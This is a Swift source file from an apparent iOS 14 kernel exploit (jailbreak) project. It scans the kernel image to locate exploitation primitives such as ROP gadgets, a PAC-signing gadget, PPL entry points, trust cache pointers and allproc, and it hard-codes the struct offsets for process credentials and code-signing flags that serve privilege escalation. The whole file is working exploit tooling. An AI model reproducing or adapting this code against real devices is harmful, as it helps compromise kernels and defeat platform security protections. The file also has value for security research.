//
//  offsets.swift
//  KernelExploit
//
//  Created by Linus Henze.
//  Copyright © 2021 Linus Henze. All rights reserved.
//

import Foundation
import JailbreakUtils
import CFastFind
import Darwin
import CoreFoundation

public enum OffsetsError: Error {
    case unknownDevice
    case offsetsMissingForHardware
    case offsetsMissing
    case failedToGetBuildString
    
    case exceptionReturnNotFound
    case brX22NotFound
    case pacdaGadgetNotFound
    case paciaGadgetNotFound
    case pplDispatchFailedNotFound
    case pplBootstrapDispatchNotFound
    case pplBootstrapDispatchStartNotFound
    case pplHandlerTableNotFound
    case gxfPPLEnterNotFound
    case gxfPPLEnterStartNotFound
    case pmapEnterOptionsPPLNotFound
    case pmapEnterOptionsAddrNotFound
    case amfiErrStrNotFound
    case amfiFatalErrFuncNotFound
    case kallocExternalNotFound
    case pmapImage4TrustCachesNotFound
    case startFirstCPUNotFound
    case cpuTTEPNotFound
    case shutdownwaitStrNotFound
    case rebootKernelNotFound
    case allprocNotFound
    case kConfigTablesStrNotFound
    case ioCatalogueInitializeNotFound
    case ioCatalogueInitializeEndNotFound
    case gIOCatalogueNotFound
    case cantRemoveKextStrNotFound
    case removeKextWithIdentifierNotFound
    case removeKextWithIdentifierStartNotFound
    case terminateOSStringNotFound
    case terminateOSStringStartNotFound
    case terminateDriversForModuleBLNotFound
    case terminateDriversForModuleNotFound
    case mlSignThreadStateNotFound
    
    case versionNotSupported
}

public struct Offsets {
    public struct KernelOffsetsEntry {
        public struct ProcStructOffsets {
            public let nextOffset:    UInt64 = 0x00
            public let taskOffset:    UInt64 = 0x10
            public let pidOffset:     UInt64 = 0x68
            public let ucred:         UInt64 = 0xF0
            public let flagsOffset:   UInt64 = 0x144
            public let textvp:        UInt64 = 0x220
            public let csFlagsOffset: UInt64 = 0x280
        }
        
        public struct TaskStructOffsets {
            public let vmMapOffset:       UInt64
            public let threadOffset:      UInt64
            public let threadCountOffset: UInt64
            public let itk_space:         UInt64
        }
        
        public struct ThreadStructOffsets {
            public let nextOffset:      UInt64
            public let contextOffset:   UInt64
            public let kStackPtrOffset: UInt64
        }
        
        public struct VmMapStructOffsets {
            public let pmapOffset: UInt64 = 0x48
        }
        
        public struct PmapOffsets {
            public let ttepOffset: UInt64 = 0x8
        }
        
        public struct VnodeOffsets {
            public let nextInList: UInt64 = 0x20
            public let specinfo:   UInt64 = 0x78
            public let name:       UInt64 = 0xB8
            public let parent:     UInt64 = 0xC0
            public let mount:      UInt64 = 0xD8
            public let data:       UInt64 = 0xE0
        }
        
        public struct SpecinfoStruct {
            public let flags: UInt64 = 0x10
        }
        
        public struct MountStruct {
            public let next:      UInt64 = 0x0
            public let vnodelist: UInt64 = 0x40
            public let flags:     UInt64 = 0x70
            public let data:      UInt64 = 0x8F8
            public let devvp:     UInt64 = 0x980
        }
        
        public struct APFSDataStruct {
            public let flags: UInt64 = 0x31
        }
        
        public struct UcredStruct {
            public let cr_uid:   UInt64 = 0x18
            public let cr_svuid: UInt64 = 0x20
            public let label:    UInt64 = 0x78
        }
        
        public struct ITKSpaceStruct {
            public let is_table: UInt64 = 0x20
        }
        
        public struct KernelFunctions {
            public let exception_return:          UInt64 // exception_return in osfmk/arm64/locore.s (starts with MSR #6, #0xF; MRS X3, #0, c13, c0, #4; MOV SP, X21)
            public let kalloc:                    UInt64 // kalloc_external, can be found in IO80211ServiceRequestDescriptor::initWithArpaTLV (kalloc_external(v8); ...; kalloc_external(74LL);)
            public let brX22:                     UInt64 // br x22 (ROPGadget --binary <kernel> | grep 'br x22')
            public let pmap_enter_options_addr:   UInt64 // Xref "ppl_dispatch: failed" to find ppl_bootstrap_dispatch (it's the shorter function), xref this function to find gxf_ppl_enter, xref again to find pmap_enter_options_ppl (x15 = 0xA), xref one more time to find pmap_enter_options_addr (the one starting with v14 = a8 | 1u; v15 = a8 & 1; -- without the a3 << 14;)
            public let pacdaGadget:               UInt64 // In ipc_kobject_set_atomically, starts with cmp x1, #0; pacda x1, x9
            public let paciaGadget:               UInt64
            public let terminateDriversForModule: UInt64
            public let ml_sign_thread_state:      UInt64
        }
        
        public let virtBase:        UInt64 // Virtual address of mach header
        public let allProcAddr:     UInt64 // Address of allproc.lh_first (xref "didn't act on SIGTERM" and you'll find `for ( k = qword_XXXX...` <-- allproc.lh_first)
        public let pagetable:       UInt64 // cpu_ttep, used e.g. in common_start, go to start and search down for "CBZ             X21" (those spaces are needed in ida) to find qword_XXX <- pagetable
        public let loadedTCRoot:    UInt64 // Pointer used in pmap_lookup_in_loaded_trust_caches_internal
        public let gIOCatalogue:    UInt64
        public let functions:       KernelFunctions
        public let taskStruct:      TaskStructOffsets
        public let threadStruct:    ThreadStructOffsets
        public let procStruct     = ProcStructOffsets()
        public let vmMapStruct    = VmMapStructOffsets()
        public let pmapStruct     = PmapOffsets()
        public let vnodeStruct    = VnodeOffsets()
        public let specinfoStruct = SpecinfoStruct()
        public let mountStruct    = MountStruct()
        public let apfsStruct     = APFSDataStruct()
        public let ucredStruct    = UcredStruct()
        public let itkSpaceStruct = ITKSpaceStruct()
    }
    
    public enum Device: Equatable, Hashable {
        static func current() -> Device {
            var info = utsname()
            uname(&info)
            
            switch String(cString: &info.machine.0) {
            case "iPhone11,2": fallthrough
            case "iPhone11,4": fallthrough
            case "iPhone11,6": fallthrough
            case "iPhone11,8", "iPad11,1", "iPad11,2": // iPhone XR should probably be treated like an XS, and iPad Mini 5 needs to be treated as an XS to work properly
                return .iPhoneXS
                
            case "iPhone12,1": fallthrough
            case "iPhone12,3": fallthrough
            case "iPhone12,5": fallthrough
            case "iPhone12,8":
                return .iPhone11
                
            case "iPhone13,1": fallthrough
            case "iPhone13,2": fallthrough
            case "iPhone13,3": fallthrough
            case "iPhone13,4", "iPad13,1", "iPad13,2": // iPhone SE 2 should probably be treated like an iPhone 11
                return .iPhone12
                
            default:
                return .Unknown
            }
        }
        
        case iPhoneXS
        case iPhone11
        case iPhone12
        case Unknown
    }
    
    static let taskStruct14_4 = KernelOffsetsEntry.TaskStructOffsets(vmMapOffset: 0x28, threadOffset: 0x58, threadCountOffset: 0x80, itk_space: 0x330)
    static let taskStruct14_5 = KernelOffsetsEntry.TaskStructOffsets(vmMapOffset: 0x20, threadOffset: 0x50, threadCountOffset: 0x78, itk_space: 0x338)
    
    static let threadStruct14_4      = KernelOffsetsEntry.ThreadStructOffsets(nextOffset: 0x330, contextOffset: 0x450, kStackPtrOffset: 0x490)
    static let threadStruct14_4_IP11 = KernelOffsetsEntry.ThreadStructOffsets(nextOffset: 0x330, contextOffset: 0x450, kStackPtrOffset: 0x498) // Why, Apple, why?! It took me *hours* to notice this
    static let threadStruct14_4_IP12 = KernelOffsetsEntry.ThreadStructOffsets(nextOffset: 0x330, contextOffset: 0x458, kStackPtrOffset: 0x4A0) // Why, Apple, why?! It took me *hours* to notice this
    static let threadStruct14_5        = KernelOffsetsEntry.ThreadStructOffsets(nextOffset: 0x3F8, contextOffset: 0x0A8, kStackPtrOffset: 0x0F0)
    static let threadStruct14_5_XS     = KernelOffsetsEntry.ThreadStructOffsets(nextOffset: 0x3F0, contextOffset: 0x0A8, kStackPtrOffset: 0x0E8) // Why, Apple, why?! It took me *hours* to notice this
    
    public static func findOffsetsForThisDevice(textExec: (Data, UInt64), dataSect: (Data, UInt64), cStrSect: (Data, UInt64), cnstSect: (Data, UInt64), pplText: (Data, UInt64), start: UInt64, slide: UInt64, noLog: Bool) throws -> KernelOffsetsEntry {
        func hexprint(name: String, val: UInt64) {
            if !noLog {
                NSLog("%@", "\(name) @ \(String(format: "%p", val))")
            }
        }
        
        // exception_return
        guard let exception_return = textExec.0.addrOf([0xD5034FDF, 0xD538D083, 0x910002BF], base: textExec.1) else {
            throw OffsetsError.exceptionReturnNotFound
        }
        
        hexprint(name: "exception_return", val: exception_return)
        
        // brX22
        guard let brX22 = textExec.0.addrOf([0xD61F02C0], base: textExec.1) else {
            throw OffsetsError.brX22NotFound
        }
        
        hexprint(name: "br x22", val: brX22)
        
        // pacdaGadget
        var pacdaGadget: UInt64!
        if let standardPacdaGadget = textExec.0.addrOf([0xF100003F, 0xDAC10921, 0x9A8103E9, 0xF9000109, 0x34000082, 0xB9400008, 0x32150108, 0xB9000008, 0xD65F03C0], base: textExec.1) {
            pacdaGadget = standardPacdaGadget
        } else if let alternativePacdaGadget = textExec.0.addrOf([0xF100003F, 0xDAC10921, 0x9A8103E9, 0xF9000109, 0xD65F03C0], base: textExec.1) {
            pacdaGadget = alternativePacdaGadget
        }
        
        guard pacdaGadget != nil else {
            throw OffsetsError.pacdaGadgetNotFound
        }
        
        hexprint(name: "pacda gadget", val: pacdaGadget)
        
        // paciaGadget
        /*var paciaGadget: UInt64!
        if let gadget = textExec.0.addrOf([0xDAC10230, 0x9A880200, 0xD65F03C0], base: textExec.1) {
            paciaGadget = gadget
        } else if let gadget = textExec.0.addrOf([0xD503201F, 0x9A880200, 0xD65F03C0], base: textExec.1) {
            paciaGadget = gadget
        }
        
        guard paciaGadget != nil else {
            throw OffsetsError.paciaGadgetNotFound
        }
        
        hexprint(name: "pacia gadget", val: paciaGadget)*/
        
        // Now find pmap_enter_options_addr
        // This one is harder as we have to xref *a lot*
        guard let ppl_dispatch_failed = dataSect.0.addrOf("ppl_dispatch: failed", base: dataSect.1) else {
            throw OffsetsError.pplDispatchFailedNotFound
        }
        
        func findNextXref(to: UInt64, startAt: UInt64, inSection: (Data, UInt64) = textExec) -> UInt64? {
            var startAt = startAt
            if startAt == 0 {
                startAt = inSection.1
            }
            
            let off = startAt - inSection.1
            assert((off % 4) == 0)
            
            guard off < inSection.0.count else {
                return nil
            }
            
            let found = inSection.0.withUnsafeBytes { bufPtr in
                find_xref_to(bufPtr.baseAddress!.advanced(by: Int(off)), bufPtr.baseAddress!.advanced(by: bufPtr.count), to, startAt)
            }
            
            guard found != 0 else {
                return nil
            }
            
            return found
        }
        
        func instrAtPC(_ pc: UInt64, inSection: (Data, UInt64) = textExec) -> UInt32 {
            return inSection.0.getGeneric(type: UInt32.self, offset: UInt(pc - inSection.1))
        }
        
        var ppl_bootstrap_dispatch: UInt64!
        var pc: UInt64 = 0
        while true {
            guard let found = findNextXref(to: ppl_dispatch_failed, startAt: pc) else {
                throw OffsetsError.pplBootstrapDispatchNotFound
            }
            
            if isAutibsp(instrAtPC(found - 4)) {
                ppl_bootstrap_dispatch = found
                break
            }
            
            pc = found + 4
        }
        
        // Find the start of ppl_bootstrap_dispatch
        // Search up to 20 instructions
        var ppl_bootstrap_dispatch_start: UInt64!
        for i in 1..<20 {
            let pc = ppl_bootstrap_dispatch - UInt64(i * 4)
            let instr = instrAtPC(pc)
            if (instr & 0x7F000000) == 0x71000000 {
                ppl_bootstrap_dispatch_start = pc
                break
            }
        }
        
        guard ppl_bootstrap_dispatch_start != nil else {
            throw OffsetsError.pplBootstrapDispatchStartNotFound
        }
        
        // While we are at it, find the ppl handler table
        var ppl_handler_table: UInt64!
        for i in 1..<20 {
            let pc = ppl_bootstrap_dispatch_start + UInt64(i * 4)
            let tbl = aarch64_emulate_adrp_add(instrAtPC(pc), instrAtPC(pc + 4), pc)
            if tbl != 0 {
                ppl_handler_table = tbl
                break
            }
        }
        
        guard ppl_handler_table != nil else {
            throw OffsetsError.pplHandlerTableNotFound
        }
        
        // Find gxf_ppl_enter
        guard let gxf_ppl_enter = findNextXref(to: ppl_bootstrap_dispatch_start, startAt: 0) else {
            throw OffsetsError.gxfPPLEnterNotFound
        }
        
        // Find start of gxf_ppl_enter
        // Search up to 20 instructions
        var gxf_ppl_enter_start: UInt64!
        for i in 1..<20 {
            let pc = gxf_ppl_enter - UInt64(i * 4)
            if isPacibsp(instrAtPC(pc)) {
                gxf_ppl_enter_start = pc
                break
            }
        }
        
        guard gxf_ppl_enter_start != nil else {
            throw OffsetsError.gxfPPLEnterStartNotFound
        }
        
        // Now find all xrefs to gxf_ppl_enter_start
        // We need the mov x15, #0xA one
        var pmap_enter_options_ppl: UInt64!
        pc = 0
        while pmap_enter_options_ppl == nil {
            guard let ref = findNextXref(to: gxf_ppl_enter_start, startAt: pc) else {
                throw OffsetsError.pmapEnterOptionsPPLNotFound
            }
            
            if instrAtPC(ref - 4) == 0xD280014F {
                pmap_enter_options_ppl = ref - 4
            }
            
            pc = ref + 4
        }
        
        // Now the hard part: xref pmap_enter_options_ppl and find out which one is pmap_enter_options_addr
        // pmap_enter_options does an 'or' and an 'and' before the call, but no left shift
        var candidate = findNextXref(to: pmap_enter_options_ppl, startAt: 0)
        var pmap_enter_options_addr: UInt64!
        while candidate != nil {
            // Check 20 instructions before
            var foundOr  = false
            var foundAnd = false
            for i in 1..<20 {
                let inst = instrAtPC(candidate! - UInt64(i * 4))
                if inst & 0x7F800000 == 0x12000000 {
                    foundAnd = true
                } else if inst & 0x7F800000 == 0x32000000 {
                    foundOr  = true
                } else if inst & 0x7F800000 == 0x53000000 {
                    // Nope, that's a lsl
                    foundAnd = false
                    foundOr  = false
                    break
                }
            }
            
            if foundOr && foundAnd {
                // Should be it
                pmap_enter_options_addr = candidate
                break
            }
            
            candidate = findNextXref(to: pmap_enter_options_ppl, startAt: candidate! + 4)
        }
        
        guard pmap_enter_options_addr != nil else {
            throw OffsetsError.pmapEnterOptionsAddrNotFound
        }
        
        // Find the start of pmap_enter_options_addr
        while !isPacibsp(instrAtPC(pmap_enter_options_addr!)) {
            pmap_enter_options_addr -= 4
        }
        
        hexprint(name: "pmap_enter_options_addr", val: pmap_enter_options_addr)
        
        // For kalloc, find "AMFI: %s: Failed to allocate memory for fatal error message, cannot produce a crash reason."
        // The first bl in the function will be to kalloc_external
        guard let amfi_fatal_err_str = cStrSect.0.addrOf("AMFI: %s: Failed to allocate memory for fatal error message, cannot produce a crash reason.", base: cStrSect.1) else {
            throw OffsetsError.amfiErrStrNotFound
        }
        
        guard var amfi_fatal_err_func = findNextXref(to: amfi_fatal_err_str, startAt: 0) else {
            throw OffsetsError.amfiFatalErrFuncNotFound
        }
        
        while !isPacibsp(instrAtPC(amfi_fatal_err_func)) {
            amfi_fatal_err_func -= 4
        }
        
        var kalloc_external: UInt64!
        for i in 1..<20 {
            let pc = amfi_fatal_err_func + UInt64(i * 4)
            let instr = instrAtPC(pc)
            let target = aarch64_emulate_bl(instr, pc)
            if target != 0 {
                kalloc_external = target
                break
            }
        }
        
        guard kalloc_external != nil else {
            throw OffsetsError.kallocExternalNotFound
        }
        
        hexprint(name: "kalloc_external", val: kalloc_external)
        
        // Find pmap_image4_trust_caches
        let pmap_lookup_in_loaded_trust_caches_internal = stripPtr(cnstSect.0.getGeneric(type: UInt64.self, offset: UInt(ppl_handler_table - cnstSect.1) + 0x148))
        
        // Find first ldr
        // This is what we want
        var pmap_image4_trust_caches: UInt64!
        for i in 1..<20 {
            let pc = pmap_lookup_in_loaded_trust_caches_internal + UInt64(i * 4)
            let emu = aarch64_emulate_ldr(instrAtPC(pc, inSection: pplText), pc)
            if emu != 0 {
                pmap_image4_trust_caches = emu
            }
        }
        
        guard pmap_image4_trust_caches != nil else {
            throw OffsetsError.pmapImage4TrustCachesNotFound
        }
        
        hexprint(name: "pmap_image4_trust_caches", val: pmap_image4_trust_caches)
        
        // Find cpu_ttep
        // First follow the jump in start
        hexprint(name: "start", val: start)
        let start_first_cpu = aarch64_emulate_b(instrAtPC(start), start)
        hexprint(name: "start_first_cpu", val: start_first_cpu)
        guard start_first_cpu != 0 else {
            throw OffsetsError.startFirstCPUNotFound
        }
        
        // Find cbz x21, something
        guard let cpu_ttep_pre = textExec.0.addrOf([0xB40000B5], base: textExec.1, startAtPC: start_first_cpu) else {
            throw OffsetsError.pacdaGadgetNotFound
        }
        
        let cpu_ttep = aarch64_emulate_adrp_add(instrAtPC(cpu_ttep_pre + 4), instrAtPC(cpu_ttep_pre + 8), cpu_ttep_pre + 4)
        
        guard cpu_ttep != 0 else {
            throw OffsetsError.cpuTTEPNotFound
        }
        
        hexprint(name: "cpu_ttep", val: cpu_ttep)
        
        // Find allproc
        // First find ref to string "shutdownwait"
        guard let shutdownwait = cStrSect.0.addrOf("shutdownwait", base: cStrSect.1) else {
            throw OffsetsError.shutdownwaitStrNotFound
        }
        
        // Get an xref to shutdownwait
        guard let reboot_kernel = findNextXref(to: shutdownwait, startAt: 0) else {
            throw OffsetsError.rebootKernelNotFound
        }
        
        // allproc should be first adrp ldr
        var allproc: UInt64!
        for i in 1..<20 {
            let pc = reboot_kernel + UInt64(i * 4)
            let target = aarch64_emulate_adrp_ldr(instrAtPC(pc), instrAtPC(pc + 4), pc)
            if target != 0 {
                allproc = target
                break
            }
        }
        
        guard allproc != nil else {
            throw OffsetsError.allprocNotFound
        }
        
        hexprint(name: "allproc", val: allproc)
        
        // Now find gIOCatalogue
        guard let kConfigTablesStr = cStrSect.0.addrOf("KernelConfigTables syntax error: %s", base: cStrSect.1) else {
            throw OffsetsError.kConfigTablesStrNotFound
        }
        
        // Xref that to find IOCatalogue::initialize
        guard let ioCatalogueInitialize = findNextXref(to: kConfigTablesStr, startAt: 0) else {
            throw OffsetsError.ioCatalogueInitializeNotFound
        }
        
        // Find the end of that function
        guard let ioCatalogueInitializeEnd = textExec.0.addrOf([0xD65F0FFF], base: textExec.1, startAtPC: ioCatalogueInitialize) else {
            throw OffsetsError.ioCatalogueInitializeEndNotFound
        }
        
        // Go back to the first adrp ldr
        var gIOCatalogue: UInt64!
        for i in 1..<100 {
            let pos = ioCatalogueInitializeEnd - UInt64(i * 4)
            let instr1 = instrAtPC(pos)
            let instr2 = instrAtPC(pos + 4)
            let val = aarch64_emulate_adrp_ldr(instr1, instr2, pos)
            if val != 0 {
                gIOCatalogue = val
                break
            }
        }
        
        guard gIOCatalogue != nil else {
            throw OffsetsError.gIOCatalogueNotFound
        }
        
        hexprint(name: "gIOCatalogue", val: gIOCatalogue)
        
        // Find IOCatalogue::terminateDriversForModule(const char * moduleName, bool unload)
        guard let cantRemoveKextStr = cStrSect.0.addrOf("Can't remove kext %s - not found.", base: cStrSect.1) else {
            throw OffsetsError.cantRemoveKextStrNotFound
        }
        
        // Xref str to find OSKext::removeKextWithIdentifier
        guard let removeKextWithIdentifier = findNextXref(to: cantRemoveKextStr, startAt: 0) else {
            throw OffsetsError.removeKextWithIdentifierNotFound
        }
        
        // Find the start of removeKextWithIdentifier
        var removeKextWithIdentifierStart: UInt64!
        for i in 1..<100 {
            let pos = removeKextWithIdentifier - UInt64(i * 4)
            if isPacibsp(instrAtPC(pos)) {
                removeKextWithIdentifierStart = pos
                break
            }
        }
        
        guard removeKextWithIdentifierStart != nil else {
            throw OffsetsError.removeKextWithIdentifierStartNotFound
        }
        
        // Xref to find the function that does a bl
        var terminateOSString: UInt64! = findNextXref(to: removeKextWithIdentifierStart, startAt: 0)
        while let pc = terminateOSString,
              aarch64_emulate_bl(instrAtPC(pc), pc) == 0 {
            terminateOSString = findNextXref(to: removeKextWithIdentifierStart, startAt: pc + 4)
        }
        
        guard terminateOSString != nil else {
            throw OffsetsError.terminateOSStringNotFound
        }
        
        // Now we just find the start of this...
        var terminateOSStringStart: UInt64!
        for i in 1..<300 {
            let pos = terminateOSString - UInt64(i * 4)
            if isPacibsp(instrAtPC(pos), alsoAllowNop: false) {
                terminateOSStringStart = pos
                break
            }
        }
        
        guard terminateOSStringStart != nil else {
            throw OffsetsError.terminateOSStringStartNotFound
        }
        
        // ...xref it...
        guard let terminateDriversForModuleBL = findNextXref(to: terminateOSStringStart, startAt: 0) else {
            throw OffsetsError.terminateDriversForModuleBLNotFound
        }
        
        // ...and find start
        var terminateDriversForModule: UInt64!
        for i in 1..<300 {
            let pos = terminateDriversForModuleBL - UInt64(i * 4)
            if isPacibsp(instrAtPC(pos)) {
                terminateDriversForModule = pos
                break
            }
        }
        
        guard terminateDriversForModule != nil else {
            throw OffsetsError.terminateDriversForModuleNotFound
        }
        
        hexprint(name: "terminateDriversForModule", val: terminateDriversForModule)
        
        // Find ml_sign_thread_state
        guard let ml_sign_thread_state = textExec.0.addrOf([0x9AC03021, 0x9262F842, 0x9AC13041, 0x9AC13061, 0x9AC13081, 0x9AC130A1, 0xF9009401, 0xD65F03C0], base: textExec.1) else {
            throw OffsetsError.mlSignThreadStateNotFound
        }
        
        hexprint(name: "ml_sign_thread_state", val: ml_sign_thread_state)
        
        // Finally, get the task/thread struct offsets
        // Do this as the last step so in case this is run on a unsupported
        //     iOS version we at least find out if the offset finder works
        let taskThreadStruct = try taskThreadStructOffsetsForThisDevice()
        
        func unslide(_ val: UInt64) -> UInt64 {
            return val - slide
        }
        
        return .init(virtBase: 0xFFFFFFF007004000,
                     allProcAddr: unslide(allproc),
                     pagetable: unslide(cpu_ttep),
                     loadedTCRoot: unslide(pmap_image4_trust_caches),
                     gIOCatalogue: unslide(gIOCatalogue),
                     functions: .init(
                        exception_return: unslide(exception_return),
                        kalloc: unslide(kalloc_external),
                        brX22: unslide(brX22),
                        pmap_enter_options_addr: unslide(pmap_enter_options_addr),
                        pacdaGadget: unslide(pacdaGadget),
                        paciaGadget: 0, //unslide(paciaGadget)
                        terminateDriversForModule: unslide(terminateDriversForModule),
                        ml_sign_thread_state: unslide(ml_sign_thread_state)
                     ),
                     taskStruct: taskThreadStruct.taskStruct,
                     threadStruct: taskThreadStruct.threadStruct)
    }
    
    private static func taskThreadStructOffsetsForThisDevice() throws -> (taskStruct: KernelOffsetsEntry.TaskStructOffsets, threadStruct: KernelOffsetsEntry.ThreadStructOffsets) {
        // Find out which device this is
        let device = Device.current()
        
        // Find out which iOS version this is
        let major = ProcessInfo.processInfo.operatingSystemVersion.majorVersion
        let minor = ProcessInfo.processInfo.operatingSystemVersion.minorVersion
        //let patch = ProcessInfo.processInfo.operatingSystemVersion.patchVersion
        
        guard major == 14 else {
            // Huh, not iOS 14?!
            // How did we even get here?!
            throw OffsetsError.versionNotSupported
        }
        
        switch minor {
        case 2: fallthrough /* Doesn't work though! */
        case 3: fallthrough
        case 4:
            // Return different offsets depending on whether or not this is an iPhone 12/11
            if case .iPhone12 = device {
                return (taskStruct: taskStruct14_4, threadStruct: threadStruct14_4_IP12)
            } else if case .iPhone11 = device {
                return (taskStruct: taskStruct14_4, threadStruct: threadStruct14_4_IP11)
            } else {
                return (taskStruct: taskStruct14_4, threadStruct: threadStruct14_4)
            }
            
        case 5:
            // Return different offsets depending on whether or not this is an XS
            if case .iPhoneXS = device {
                return (taskStruct: taskStruct14_5, threadStruct: threadStruct14_5_XS)
            } else {
                return (taskStruct: taskStruct14_5, threadStruct: threadStruct14_5)
            }
            
        default:
            throw OffsetsError.versionNotSupported
        }
    }
}

fileprivate extension Data {
    func addrOf(_ toFind: [UInt32], base: UInt64, startAtPC: UInt64 = 0) -> UInt64? {
        withUnsafeBytes { bufPtr in
            var initOff = startAtPC
            if initOff == 0 {
                initOff = base
            }
            
            initOff -= base
            
            var offset: Int = 0
            if CFastFind(bufPtr.baseAddress!.advanced(by: Int(initOff)), bufPtr.count - Int(initOff), toFind, toFind.count, &offset) {
                return UInt64(UInt(bitPattern: offset)) + base + initOff
            }
            
            return nil
        }
    }
    
    func addrOf(_ toFind: String, base: UInt64) -> UInt64? {
        if let range = firstRange(of: toFind.data(using: .utf8)!) {
            return UInt64(range.lowerBound) + base
        }
        
        return nil
    }
}

fileprivate func isAutibsp(_ instr: UInt32) -> Bool {
    return instr == 0xDAC117FE || instr == 0xD50323FF
}

fileprivate func isPacibsp(_ instr: UInt32, alsoAllowNop: Bool = true) -> Bool {
    var ok = (instr == 0xD503237F || instr == 0xDAC107FE)
    if alsoAllowNop && instr == 0xD503201F {
        // Required to test on Corellium
        ok = true
    }
    
    return ok
}
